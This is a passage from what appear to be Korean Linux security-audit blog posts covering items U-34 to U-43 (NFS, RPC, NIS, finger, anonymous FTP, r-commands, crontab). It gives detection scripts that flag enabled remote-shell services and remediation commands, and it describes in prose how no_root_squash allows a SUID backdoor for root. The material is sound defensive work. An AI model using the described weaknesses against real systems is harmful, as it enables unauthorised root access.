ps -ef | grep -E "nfsd|statd|mountd" | grep -v grep

서비스 중지 및 비활성화 (조치):

systemctl stop nfs-server rpcbind
systemctl disable nfs-server rpcbind

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 클라이언트 시스템이 NFS 공유 디렉터리를 마운트하여 사용 중인 상태에서 서버 측 NFS 서비스를 사전 협의 없이 중지하면, 클라이언트 시스템에서 I/O Wait가 급증하며 df -h 명령어 및 파일 시스템 접근 시 세션이 멈추는(Hang) 장애가 발생합니다.
안전한 조치 방법: 조치 전 반드시 showmount -e 또는 netstat -anp | grep 2049 명령어로 현재 연결된 클라이언트 IP를 확인해야 합니다. 클라이언트 측에서 umount 명령어를 통해 마운트를 해제한 것을 검증한 후 서버 데몬을 정지하십시오.

2.2. [U-40] NFS 접근 통제

① 점검 목적 및 개요

NFS 서비스를 불가피하게 운영할 경우, /etc/exports 설정을 통해 지정된 IP 대역만 접근을 허용하고 root 권한을 일반 계정으로 격리(root_squash)해야 합니다. 전체 허용(*) 설정이나 no_root_squash 옵션이 적용되어 있으면 원격 공격자가 Target 시스템의 root 권한을 획득할 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설]: U-39에서 확인된 NFS 서비스 실행 여부에 따라 점검 진행
if [[ "$NFS_RUNNING" == "TRUE" ]]; then
    if [ -f /etc/exports ]; then
        # [상세 해설]: 주석 제외 후 와일드카드(*) 접근 허용 또는 no_root_squash 옵션이 존재하는지 검색
        WEAK_EXPORTS=$(grep -v "^[[:space:]]*#" /etc/exports | grep -E "\*|no_root_squash" | xargs)
        if [ -n "$WEAK_EXPORTS" ]; then
            WARN "NFS 서비스가 동작 중이며, /etc/exports 접근 통제 설정이 취약합니다." "접근 제한(*)이 없거나 root_squash가 미적용됨: $WEAK_EXPORTS"
        else
            OK "NFS 서비스가 동작 중이나, /etc/exports에 IP 접근 통제가 안전하게 설정되어 있습니다." "특정 IP 통제 및 no_root_squash 미사용"
        fi
    else
        WARN "NFS 서비스가 동작 중이나 /etc/exports 설정 파일이 존재하지 않습니다." "설정 파일 누락으로 확인 불가"
    fi
else
    OK "NFS 서비스가 동작하지 않으므로 접근 통제 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
FINISH "[ U-40 ] 점검완료"

③ 수동 진단 및 조치 절차

설정 파일 백업:

cp -p /etc/exports /etc/exports.bak_$(date +%Y%m%d)

설정 수정 (/etc/exports):

# 취약한 설정예시: /data *(rw,no_root_squash)
# 양호한 설정예시:
/data 192.168.1.50(rw,root_squash,secure)

설정 적용 및 검증:
```
exportfs -ra
exportfs -v
```

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 위험 요소: no_root_squash 옵션이 설정되어 있으면 공격자는 클라이언트에서 SUID 권한이 부여된 백도어 파일을 마운트 디렉터리에 생성하여 서버의 root 권한을 침탈할 수 있습니다.
MSA 및 자동화 환경에서의 대안: Kubernetes PersistentVolume이나 CI/CD 공유 스토리지 구성을 위해 특정 계정 권한이 반드시 필요하다면, no_root_squash 대신 anonuid 및 anongid 옵션을 사용하여 특정 애플리케이션 전용 서비스 계정의 UID로 맵핑하는 방식을 권장합니다.

2.3. [U-41] 불필요한 automountd 제거

① 점검 목적 및 개요

automountd(autofs)는 파일 시스템에 접근이 시도될 때 NFS 공유 디렉터리 등을 자동으로 마운트해 주는 데몬입니다. 사용하지 않는 automountd가 활성화되어 있으면 비인가자에 의한 의도치 않은 외부 스토리지 자동 마운트가 유발되어 보안상 허점이 생길 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설]: autofs 상태 확인을 위한 변수 초기화
AUTOFS_RUNNING="FALSE"

# [상세 해설]: systemd 서비스 상태 검사 및 ps 명령어로 automount/autofs 데몬 실행 여부 확인
if systemctl is-active --quiet autofs 2>/dev/null || ps -ef | grep -E "automount|autofs" | grep -v "grep" >/dev/null; then
    AUTOFS_RUNNING="TRUE"
fi

# [상세 해설]: 서비스 실행 여부에 따라 양호/취약 판정 출력
if [[ "$AUTOFS_RUNNING" == "TRUE" ]]; then
    WARN "인가되지 않은 시스템 마운트를 유발할 수 있는 automountd(autofs) 서비스가 동작 중입니다." "automount 프로세스 발견"
else
    OK "automountd(autofs) 서비스가 비활성화되어 있습니다." "관련 데몬 미동작"
fi
FINISH "[ U-41 ] 점검완료"

③ 수동 진단 및 조치 절차

서비스 상태 확인:
```
systemctl status autofs
```

서비스 중지 및 비활성화 (조치):

systemctl stop autofs
systemctl disable autofs

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 검증 절차: autofs를 중지하기 전, /etc/auto.master 또는 /etc/auto.master.d/ 디렉터리에 정의된 마운트 포인트를 사용 중인 업무 프로세스(예: 백업 솔루션, 이중화 소프트웨어)가 있는지 확인해야 합니다.
장애 방지 포인트: 불필요한 autofs를 제거하지 않고 방치할 경우, 네트워크 연결이 끊긴 원격 NFS 경로로 접근 시 파이프라인 프로세스 전체가 블로킹되어 서비스 장애로 이어질 수 있습니다. 수동 fstab 관리가 보안 및 안정성 면에서 훨씬 우수합니다.

2.4. [U-42] 불필요한 RPC 서비스 비활성화

① 점검 목적 및 개요

RPC(Remote Procedure Call) 관련 데몬(rpcbind, rstatd, rusersd, rwalld, rsprayd 등)은 구형 유닉스/리눅스 환경에서 원격 관리를 위해 사용되었습니다. 이들 데몬은 버퍼 오버플로우 및 정보 유출 취약점이 다수 존재하므로, NFS 운영 등의 필수 목적이 아니라면 비활성화해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설]: 취약한 RPC 서비스 목록을 담을 변수 초기화
RPC_VULN_SERVICES=""

# [상세 해설]: 1. rpcbind(포트맵) 실행 여부 확인 - NFS를 사용하지 않는데 켜져 있는 경우 취약으로 간주
if systemctl is-active --quiet rpcbind 2>/dev/null || ps -ef | grep -E "rpcbind|portmap" | grep -v "grep" >/dev/null; then
    if [[ "$NFS_RUNNING" == "FALSE" ]]; then
        RPC_VULN_SERVICES="rpcbind(포트맵) "
    fi
fi

# [상세 해설]: 2. legacy xinetd 기반 구형 RPC 데몬(rstatd, rusersd 등) 활성화 상태 점검
RPC_LIST="rstatd rusersd rwalld rsprayd"
if [ -d /etc/xinetd.d ]; then
    for rpc in $RPC_LIST; do
        if grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$rpc" 2>/dev/null; then
            RPC_VULN_SERVICES="$RPC_VULN_SERVICES $rpc"
        fi
    done
fi

# [상세 해설]: 취약한 RPC 서비스 검출 결과에 따른 최종 진단 출력
if [ -n "$RPC_VULN_SERVICES" ]; then
    WARN "불필요하거나 취약한 RPC 데몬이 활성화되어 있습니다." "활성화된 데몬: [ $RPC_VULN_SERVICES ]"
else
    OK "취약한 구형 RPC 서비스가 비활성화되어 있거나 정상적인 목적(NFS 등)으로만 운영 중입니다." "불필요한 RPC 프로세스 미동작"
fi
FINISH "[ U-42 ] 점검완료"

③ 수동 진단 및 조치 절차

rpcbind 중지 및 비활성화 (NFS 미사용 시):

systemctl stop rpcbind rpcbind.socket
systemctl disable rpcbind rpcbind.socket

xinetd 기반 RPC 서비스 비활성화:

# /etc/xinetd.d/ 내 해당 서비스 파일의 disable 옵션을 yes로 변경
sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' /etc/xinetd.d/rstatd 2>/dev/null
systemctl reload xinetd

④ 보안실무자 J의 노하우 및 장애 방지 포인트

최신 아키텍처 환경 노하우: NFSv4 전용 환경에서는 더 이상 rpcbind(111번 포트)를 필요로 하지 않으며 2049번 포트만 사용합니다.
실무 팁: NFSv4만 사용하는 현대적인 Linux 서버라면 NFS 서비스 운영 중이라도 rpcbind 데몬을 비활성화할 수 있습니다. 단, 이 설정을 적용하려면 NFS 서버 설정 파일(/etc/nfs.conf)에서 [nfsd] 항목의 vers3=no 옵션을 지정하여 NFSv3 하위 호환성을 끄고 사전 테스트를 수행해야 합니다.

2.5. [U-43] NIS, NIS+ 점검

① 점검 목적 및 개요

NIS(Network Information Service)는 네트워크 내 여러 리눅스 서버의 사용자 계정 정보(/etc/passwd, /etc/shadow 등)를 중앙에서 통합 관리하는 서비스입니다. 데이터 전송 시 암호화되지 않은 평문 통신을 사용하므로 네트워크 스니핑을 통해 사용자 비밀번호 해시값이 유출될 수 있어 금지해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설]: NIS 서비스 동작 상태 변수 초기화
NIS_RUNNING="FALSE"

# [상세 해설]: NIS 관련 핵심 데몬(ypserv, ypbind, ypxfrd, yppasswdd) 실행 여부를 systemctl 및 ps로 검사
if systemctl is-active --quiet ypserv 2>/dev/null || ps -ef | grep -E "ypserv|ypbind|ypxfrd|yppasswdd" | grep -v "grep" >/dev/null; then
    NIS_RUNNING="TRUE"
fi

# [상세 해설]: NIS 데몬 동작 시 보안 위험 경고 출력
if [[ "$NIS_RUNNING" == "TRUE" ]]; then
    WARN "패스워드 해시값이 평문으로 전송될 위험이 있는 NIS 서비스가 동작 중입니다." "ypserv, ypbind 등 관련 프로세스 발견"
else
    OK "보안상 취약한 NIS(Network Information Service)가 비활성화되어 있습니다." "NIS 관련 프로세스 미동작"
fi
FINISH "[ U-43 ] 점검완료"

③ 수동 진단 및 조치 절차

NIS 관련 서비스 중지 및 비활성화:

systemctl stop ypserv ypbind ypxfrd yppasswdd 2>/dev/null
systemctl disable ypserv ypbind ypxfrd yppasswdd 2>/dev/null

관련 패키지 삭제 (선택 권장):

# RHEL 계열
yum remove ypbind ypserv
# Debian/Ubuntu 계열
apt-get purge nis

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 조치 주의사항: 중앙 인증을 사용하는 기업 환경에서 대안 시스템(OpenLDAP, FreeIPA, Active Directory 연동 등)을 갖추지 않은 채 ypbind를 정지하면, NIS 계정으로 로그인되어 있던 모든 사용자의 세션이 끊어지고 신규 로컬 로그인만 가능해지는 인프라 마비가 일어납니다.
안전한 전환 절차: 계정 관리 체계를 전환할 때는 PAM 인증 모듈(/etc/pam.d/system-auth, /etc/nsswitch.conf)에서 nis 지시어를 먼저 제거하고, SSSD(System Security Services Daemon) 및 LDAP 기반 인증으로 완벽히 이전한 후 NIS 데몬을 중지해야 합니다.

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

스크립트 한계점 분석

제시된 스크립트는 표준적인 데몬 프로세스명과 단일 설정 파일(/etc/exports)만을 점검하고 있습니다. 그러나 최신 OS(RHEL 8/9, Ubuntu 22.04/24.04 등) 환경에서는 다음과 같은 진단 한계가 존재합니다.

분할 설정 디렉터리 미인식: 최신 NFS 패키지는 /etc/exports 외에도 /etc/exports.d/*.exports 구성을 지원하므로 해당 경로 내의 취약한 설정을 탐지하지 못하는 오탐이 발생할 수 있습니다.
NFSv4 전용 환경 미반영: NFSv4 환경에서는 rpcbind 없이 작동 가능함에도 일률적으로 rpcbind 실행 시 취약(U-42)으로 판정할 수 있습니다.

핵심 개선 코드 스니펫 (Code Snippet)

위 한계를 보완하기 위해 /etc/exports.d/ 디렉터리의 분할 설정 파일까지 통합 검사하도록 U-40 로직을 개선한 코드 스니펫을 제안합니다.

# [개선 스니펫]: 분할 설정 디렉터리(/etc/exports.d/*.exports) 포함 검사 로직
if [[ "$NFS_RUNNING" == "TRUE" ]]; then
    EXPORTS_FILES="/etc/exports $(ls /etc/exports.d/*.exports 2>/dev/null)"
    WEAK_EXPORTS=$(grep -v "^[[:space:]]*#" $EXPORTS_FILES 2>/dev/null | grep -E "\*|no_root_squash" | xargs)
    
    if [ -n "$WEAK_EXPORTS" ]; then
        WARN "NFS 접근 통제 설정이 취약합니다." "취약 설정 발견: $WEAK_EXPORTS"
    else
        OK "모든 NFS 설정 파일의 IP 접근 통제 및 root_squash 설정이 양호합니다."
    fi
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

[리눅스 보안 점검 요약] 서비스 관리 (U-34 ~ U-38) 종합 진단 및 실무 조치 가이드

보안실무자J — Mon, 14 Sep 2026 14:43:29 +0900

리눅스 시스템의 서비스 관리 영역인 U-34부터 U-38까지 5개 주요 보안 점검 항목에 대한 진단 가이드입니다. Finger, 익명 FTP, r-계열, DoS 유발 서비스 등 불필요한 레거시 네트워크 데몬을 '자동 진단'하고, crontab 파일의 '안전한 조치 및 백업' 절차를 통해 시스템 접근 권한 오남용 및 무단 정보 유출 위험을 원천 차단하는 실무 노하우를 소개합니다.

1. 서비스 관리 분야 (U-34 ~ U-38) 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-34	Finger 서비스 비활성화	/etc/xinetd.d/finger, /etc/inetd.conf	Finger 서비스(데몬 및 소켓)가 비활성화되어 있는 경우	상
U-35	공유 서비스에 대한 익명 접근 제한 설정	/etc/vsftpd/vsftpd.conf, /etc/proftpd/proftpd.conf	FTP 서비스의 익명(Anonymous) 접속이 차단되어 있는 경우	상
U-36	r 계열 서비스 비활성화	/etc/xinetd.d/r*, /etc/inetd.conf	rsh, rlogin, rexec 등 r-계열 서비스가 비활성화되어 있는 경우	상
U-37	crontab 설정파일 권한 설정 미흡	/etc/crontab, /etc/cron., /var/spool/cron/	소유자가 root이고 권한이 640 이하(타사용자 쓰기 제한)인 경우	상
U-38	DoS 공격에 취약한 서비스 비활성화	/etc/xinetd.d/*, /etc/inetd.conf	echo, discard, daytime, chargen 서비스가 비활성화되어 있는 경우	중

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-34] Finger 서비스 비활성화

① 점검 목적 및 개요

Finger 서비스는 원격지에서 시스템에 등록된 사용자 정보(계정명, 홈 디렉터리, 최근 로그인 시간, 인쇄 상태 등)를 조회할 수 있는 레거시 프로토콜입니다. 공격자는 이 서비스를 활용해 활성 계정 목록을 수집한 후 사전 대입 공격(Dictionary Attack)이나 무차별 대입 공격(Brute Force Attack)의 타깃으로 활용할 수 있으므로, 반드시 비활성화해야 합니다.

② 자동 진단 스크립트 분석

# U-34 Finger 서비스 비활성화 점검 시작
CODE "[ U-34 ] Finger 서비스 비활성화"

# 변수 초기화: 기본 상태를 미동작(FALSE)으로 설정
FINGER_RUNNING="FALSE"
REASON_FINGER=""

# systemctl 명령을 이용해 systemd 환경에서 finger 데몬 또는 소켓 활성화 여부 검사
if systemctl is-active --quiet finger 2>/dev/null || systemctl is-active --quiet finger.socket 2>/dev/null; then
    FINGER_RUNNING="TRUE"
    REASON_FINGER="systemctl에서 finger 데몬/소켓 활성화 확인됨."
fi

# xinetd 환경 점검: /etc/xinetd.d/finger 파일 내 disable 설정 확인
if [ -f /etc/xinetd.d/finger ]; then
    # disable = no 구문이 존재하는지 대소문자 구분 없이 무소음 구문 검색(-q)
    if grep -i -q "disable[[:space:]]*=[[:space:]]*no" /etc/xinetd.d/finger; then
        FINGER_RUNNING="TRUE"
        REASON_FINGER="xinetd 환경에서 finger 서비스가 활성화(disable=no)되어 있음."
    fi
# inetd 환경 점검: /etc/inetd.conf 파일 내 finger 주석 해제 여부 확인
elif [ -f /etc/inetd.conf ]; then
    # 행 시작 부분에 주석(#) 없이 finger 구문이 활성화된 경우 추출
    if grep -E -i "^[[:space:]]*finger" /etc/inetd.conf >/dev/null; then
        FINGER_RUNNING="TRUE"
        REASON_FINGER="inetd.conf 파일에 finger 서비스가 주석 해제되어 있음."
    fi
fi

# 최종 상태 판단 및 결과 출력
if [[ "$FINGER_RUNNING" == "TRUE" ]]; then
    WARN "시스템 정보 유출 위험이 있는 Finger 서비스가 활성화되어 있습니다." "$REASON_FINGER"
else
    OK "취약한 Finger 서비스가 비활성화되어 있습니다." "Finger 관련 데몬 및 네트워크 서비스 미동작"
fi
FINISH "[ U-34 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 과거 레거시 시스템 운영 시, 외부 관제 시스템이나 자체 모니터링 스크립트가 Finger 응답을 기반으로 서버 상태를 체크하도록 구현된 경우가 있었습니다. 사전 협의 없이 Finger 서비스를 중지할 경우 통합 관제 모니터링에서 거짓 경보(False Alarm)가 대량 발생할 수 있습니다.
검증 테스트 절차: 서비스 중지 전 active 세션 및 포트 오픈 여부를 확인합니다.
```
ss -tulpn | grep :79
systemctl status finger finger.socket 2>/dev/null
```
운영 환경 대안: 만약 시스템 계정의 세션 정보 모니터링이 필요하다면, 네트워크 포트를 외부에 노출하는 Finger 대신 SSH 기반의 중앙집중식 로그 수집기(Fluentd, Logstash)나 w, who 명령어를 내부 보안 에이전트로 래핑하여 조회하는 방식을 적용해야 합니다.

④ 안전한 조치 절차

설정 파일 백업 (xinetd/inetd 환경의 경우)

cp -v /etc/xinetd.d/finger /etc/xinetd.d/finger.bak 2>/dev/null
cp -v /etc/inetd.conf /etc/inetd.conf.bak 2>/dev/null

서비스 비활성화 조치

Systemd 환경:

systemctl stop finger.socket finger 2>/dev/null
systemctl disable finger.socket finger 2>/dev/null

xinetd 환경: /etc/xinetd.d/finger 파일 내 disable = yes로 변경

sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' /etc/xinetd.d/finger
systemctl reload xinetd

2.2. [U-35] 공유 서비스에 대한 익명 접근 제한 설정

① 점검 목적 및 개요

FTP 서비스 구동 시 익명(Anonymous) 접속이 허용되어 있으면 계정과 패스워드 없이 누구나 서버에 접근하여 파일을 다운로드하거나 업로드할 수 있습니다. 이는 악성코드 유포지 활용, 시스템 주요 파일 유출, 디스크 차부하로 인한 서비스 거부 상태 발생 등의 심각한 위협으로 이어집니다.

② 자동 진단 스크립트 분석

# U-35 익명 FTP 접속 제한 점검 시작
CODE "[ U-35 ] 공유 서비스에 대한 익명 접근 제한 설정"

FTP_RUNNING="FALSE"
ANONYMOUS_SAFE="FALSE"
REASON_FTP=""

# 실행 중인 FTP 데몬(vsftpd, proftpd, in.ftpd) 프로세스 및 systemd 서비스 체크
if ps -ef | grep -E "vsftpd|proftpd|in.ftpd" | grep -v "grep" >/dev/null || systemctl is-active --quiet vsftpd 2>/dev/null; then
    FTP_RUNNING="TRUE"
fi

if [[ "$FTP_RUNNING" == "TRUE" ]]; then
    # vsftpd 설정 파일 점검
    if [ -f /etc/vsftpd/vsftpd.conf ]; then
        # anonymous_enable=NO 설정 유무 확인
        if grep -i -q "^[[:space:]]*anonymous_enable=NO" /etc/vsftpd/vsftpd.conf; then
            ANONYMOUS_SAFE="TRUE"
            REASON_FTP="vsftpd.conf 내에 anonymous_enable=NO 설정 적용됨."
        else
            REASON_FTP="vsftpd.conf 내에 anonymous_enable=YES 이거나 설정이 누락됨."
        fi
    # ProFTPD 설정 파일 점검
    elif [ -f /etc/proftpd/proftpd.conf ] || [ -f /etc/proftpd.conf ]; then
        CONF_FILE=$(ls /etc/proftpd/proftpd.conf /etc/proftpd.conf 2>/dev/null | head -1)
        # <Anonymous> 블록 존재 여부 확인 (존재 시 익명 접근 허용으로 간주)
        if grep -i -q "<Anonymous" "$CONF_FILE"; then
            REASON_FTP="proftpd.conf 파일 내에 익명 접속 허용 블록(<Anonymous>)이 존재함."
        else
            ANONYMOUS_SAFE="TRUE"
            REASON_FTP="proftpd.conf 파일 내에 익명 접속 블록이 없음."
        fi
    else
        REASON_FTP="FTP 서비스는 동작 중이나 설정 파일을 찾을 수 없어 수동 점검 필요."
    fi

    if [[ "$ANONYMOUS_SAFE" == "TRUE" ]]; then
        OK "FTP 서비스에 익명(Anonymous) 접속이 안전하게 차단되어 있습니다." "$REASON_FTP"
    else
        WARN "FTP 서비스에 익명(Anonymous) 접속이 허용되어 있습니다." "$REASON_FTP"
    fi
else
    OK "FTP 등 공유 서비스가 동작하지 않으므로 익명 접속 위험이 없습니다." "FTP 데몬 미동작"
fi
FINISH "[ U-35 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: CI/CD 파이프라인이나 자동화 배포 패치 서버에서 FTP를 통한 무암호/익명 파일 다운로드 방식을 그대로 사용하는 경우가 있습니다. 사전 영향도 평가 없이 anonymous_enable=NO 적용 후 서비스를 재시작하면 자동화 빌드/배포 프로세스가 즉시 실패합니다.
검증 테스트 절차: 설정 수정 후 문법 검사를 수행하고, 외부에서 익명 접속을 직접 테스트합니다.
```
# vsftpd 설정 검증 및 접속 시험
vsftpd -v
curl --ftp-port - ftp://localhost/ --user anonymous:guest
```
운영 환경 대안: 익명 FTP를 통한 대민 파일 다운로드 서비스가 불가피하게 필요한 경우, 업로드 권한을 완벽히 차단(write_enable=NO)하고 전용 DMZ 구간에 격리된 전용 FTP 서버를 배치해야 합니다. 가능한 보안이 강화된 SFTP(SSH File Transfer Protocol) 및 전용 서비스 계정 사용을 권장합니다.

④ 안전한 조치 절차

설정 파일 백업

cp -v /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak.$(date +%Y%m%d)

익명 접속 차단 설정 적용

# 기존 설정 변경 또는 추가
if grep -q "anonymous_enable" /etc/vsftpd/vsftpd.conf; then
    sed -i 's/anonymous_enable=.*/anonymous_enable=NO/g' /etc/vsftpd/vsftpd.conf
else
    echo "anonymous_enable=NO" >> /etc/vsftpd/vsftpd.conf
fi

서비스 데몬 리로드/재시작
```
systemctl restart vsftpd
```

2.3. [U-36] r 계열 서비스 비활성화

① 점검 목적 및 개요

r-command 서비스(rsh, rlogin, rexec 등)는 패스워드 인증 없이 IP 주소 및 $HOME/.rhosts 설정 기반으로 원격 명령을 실행할 수 있게 해주는 구형 네트워크 프로토콜입니다. 데이터를 암호화하지 않고 평문(Plaintext)으로 전송하므로 네트워크 스니핑 및 IP 스푸핑 공격에 매우 취약하여 원격 관리 권한을 탈취당할 수 있습니다.

② 자동 진단 스크립트 분석

# U-36 r 계열 서비스 점검 시작
CODE "[ U-36 ] r 계열 서비스 비활성화"

# 점검 대상 r-계열 명령어 서비스 목록 정의
R_SVCS="rsh rlogin rexec shell login exec"
WEAK_R_SVCS=""

# xinetd 디렉터리 내 개별 서비스 설정 체크
if [ -d /etc/xinetd.d ]; then
    for r_svc in $R_SVCS; do
        if grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$r_svc" 2>/dev/null; then
            WEAK_R_SVCS="$WEAK_R_SVCS $r_svc"
        fi
    done
# inetd 환경 설정 체크
elif [ -f /etc/inetd.conf ]; then
    for r_svc in $R_SVCS; do
        if grep -E -i "^[[:space:]]*$r_svc" /etc/inetd.conf >/dev/null; then
            WEAK_R_SVCS="$WEAK_R_SVCS $r_svc"
        fi
    done
fi

# systemd 환경의 활성화된 서비스 및 소켓 체크
for r_svc in $R_SVCS; do
    if systemctl is-active --quiet "$r_svc" 2>/dev/null || systemctl is-active --quiet "${r_svc}.socket" 2>/dev/null; then
        WEAK_R_SVCS="$WEAK_R_SVCS $r_svc"
    fi
done

# 중복 제거 및 정렬 처리
WEAK_R_SVCS=$(echo "$WEAK_R_SVCS" | xargs -n1 | sort -u | xargs)

# 최종 결과 판정
if [ -n "$WEAK_R_SVCS" ]; then
    WARN "인증 없이 원격 명령을 실행할 수 있는 r-command 서비스가 활성화되어 있습니다." "취약 활성 서비스: [ $WEAK_R_SVCS ]"
else
    OK "위험한 원격 명령 실행 서비스(r-command)가 안전하게 차단되어 있습니다." "rsh, rlogin, rexec 등 모두 비활성화됨"
fi
FINISH "[ U-36 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 과거에 구축된 고성능 연산 클러스터(HPC)나 구형 오라클 RAC(Real Application Clusters v10g/11g 등) 환경에서 노드 간 통신을 위해 rsh/rcp를 의존성으로 사용했던 경우가 있습니다. SSH 키 기반 통신으로 전환 작업 없이 rsh 데몬을 종료하면 클러스터 동기화 장애 및 데이터베이스 노드 이중화 다운 현상이 발생합니다.
검증 테스트 절차: 활성화된 관련 소켓 및 데몬이 완전히 차단되었는지 점검합니다.
```
systemctl list-units --type=socket | grep -E 'rsh|rlogin|rexec'
```
운영 환경 대안: 모든 노드 간 원격 명령어 실행 및 파일 전송은 SSH 공개키(Public Key) 기반 인증 및 SFTP/SCP 환경으로 전환해야 합니다. 백업 및 스크립트 수용을 위해 SSH 설정 시 Passphrase가 없는 전용 SSH 키와 특정 명령만 허용하는 command="..." 옵션을 restricted shell과 조합하여 운영하는 것이 바람직합니다.

④ 안전한 조치 절차

관련 서비스 및 소켓 중지 및 비활성화 (Systemd)

systemctl disable --now rsh.socket rlogin.socket rexec.socket 2>/dev/null
systemctl stop rsh.socket rlogin.socket rexec.socket 2>/dev/null

xinetd 설정 수정 (xinetd 사용 시)

for svc in rsh rlogin rexec; do
    if [ -f "/etc/xinetd.d/$svc" ]; then
        cp -v "/etc/xinetd.d/$svc" "/etc/xinetd.d/$svc.bak"
        sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' "/etc/xinetd.d/$svc"
    fi
done
systemctl reload xinetd 2>/dev/null

2.4. [U-37] crontab 설정파일 권한 설정 미흡

① 점검 목적 및 개요

crontab 관련 파일 및 디렉터리(/etc/crontab, /etc/cron.*, /var/spool/cron/*)에는 시스템 주기 작업 및 관리자 스크립트가 등록됩니다. 비인가 일반 사용자가 이들 파일에 쓰기(Write) 권한을 가질 경우, root 권한으로 실행되는 스크립트를 변조하거나 악성 작업을 등록하여 시스템 권한을 상승(Privilege Escalation)시킬 수 있으므로 소유자 및 권한을 엄격히 제한해야 합니다.

② 자동 진단 스크립트 분석

# U-37 crontab 권한 점검 시작
CODE "[ U-37 ] crontab 설정파일 권한 설정 미흡"

# 주요 cron 설정 파일 및 스풀 디렉터리 대상 목록
CRON_FILES="/etc/crontab /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.allow /etc/cron.deny /var/spool/cron /var/spool/cron/crontabs"
VULN_CRON=""

for f in $CRON_FILES; do
    if [ -e "$f" ]; then
        # ls 결과를 파싱하여 소유자 및 권한 문자열 추출
        OWNER=$(ls -ld "$f" | awk '{print $3}')
        PERMS=$(ls -ld "$f" | awk '{print $1}')
        # 권한 문자열의 9번째 자리(Others 쓰기 권한) 확인
        PERM_O_WRITE=$(echo "$PERMS" | cut -c 9)

        # 소유자가 root가 아니거나, 타사용자(Others)에게 쓰기(w) 권한이 있으면 취약으로 판단
        if [ "$OWNER" != "root" ] || [ "$PERM_O_WRITE" == "w" ]; then
            VULN_CRON="$VULN_CRON $f($OWNER, $PERMS)"
        fi
    fi
done

if [ -n "$VULN_CRON" ]; then
    WARN "crontab 관련 설정 파일의 소유자 또는 권한이 취약합니다. (권고: root 소유, 640 이하)" "취약 발견: [ $VULN_CRON ]"
else
    OK "crontab 관련 설정 파일들의 권한 및 소유자(root)가 안전하게 설정되어 있습니다." "점검 대상 cron 파일 권한 양호"
fi
FINISH "[ U-37 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: /var/spool/cron 디렉터리 및 하위 개별 사용자 crontab 파일의 권한을 일단 권고 수치라는 이유로 chmod 640을 일괄 적용했다가, 일반 사용자 계정이 자신의 crontab -e 명령어를 실행할 때 Permission denied 에러가 발생하거나 crond 데몬이 파일 권한 문제로 일반 사용자의 스케줄링 작업을 거부하는 장애가 발생할 수 있습니다.
검증 테스트 절차: 권한 변경 후 crond 서비스의 로그와 문법 정상 실행 여부를 검증합니다.
```
crontab -l
tail -n 20 /var/log/cron
```
운영 환경 대안: /etc/crontab 및 /etc/cron.d/ 하위 시스템 설정 파일은 root:root 640 이하로 고정하되, /var/spool/cron/crontabs 디렉터리와 개별 계정 cron 파일은 그룹 권한(crontab 그룹 전용 수치)을 고려하여 600 또는 OS별 규격 표준(crontab 소유 그룹 지정)에 맞춰 세심하게 조정해야 합니다.

④ 안전한 조치 절차

변경 대상 파일 백업 및 상태 기록

stat /etc/crontab /etc/cron.daily /var/spool/cron > cron_perm_backup.txt

시스템 cron 파일 소유자 및 권한 수정

# 시스템 주요 cron 설정 파일 조치
chown root:root /etc/crontab /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.allow /etc/cron.deny 2>/dev/null
chmod 640 /etc/crontab /etc/cron.allow /etc/cron.deny 2>/dev/null
chmod 750 /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null

# 사용자 crontab 스풀 디렉터리 조치
if [ -d /var/spool/cron ]; then
    chown -R root:root /var/spool/cron
    chmod 700 /var/spool/cron
    chmod 600 /var/spool/cron/* 2>/dev/null
fi

Cron 데몬 상태 확인

systemctl status crond || systemctl status cron

2.5. [U-38] DoS 공격에 취약한 서비스 비활성화

① 점검 목적 및 개요

echo(포트 7), discard(포트 9), daytime(포트 13), chargen(포트 19)은 초기 네트워크 진단 및 테스트를 위해 만들어진 레거시 UDP/TCP 서비스입니다. 공격자는 이러한 서비스를 악용해 두 서버 간의 포트를 상호 연결시켜 무한 루프 메시지를 유발하거나, UDP 반사 증폭 서비스 거부 공격(Reflective DoS / Fraggle Attack)의 도구로 악용하여 네트워크 트래픽을 고갈시킬 수 있습니다.

② 자동 진단 스크립트 분석

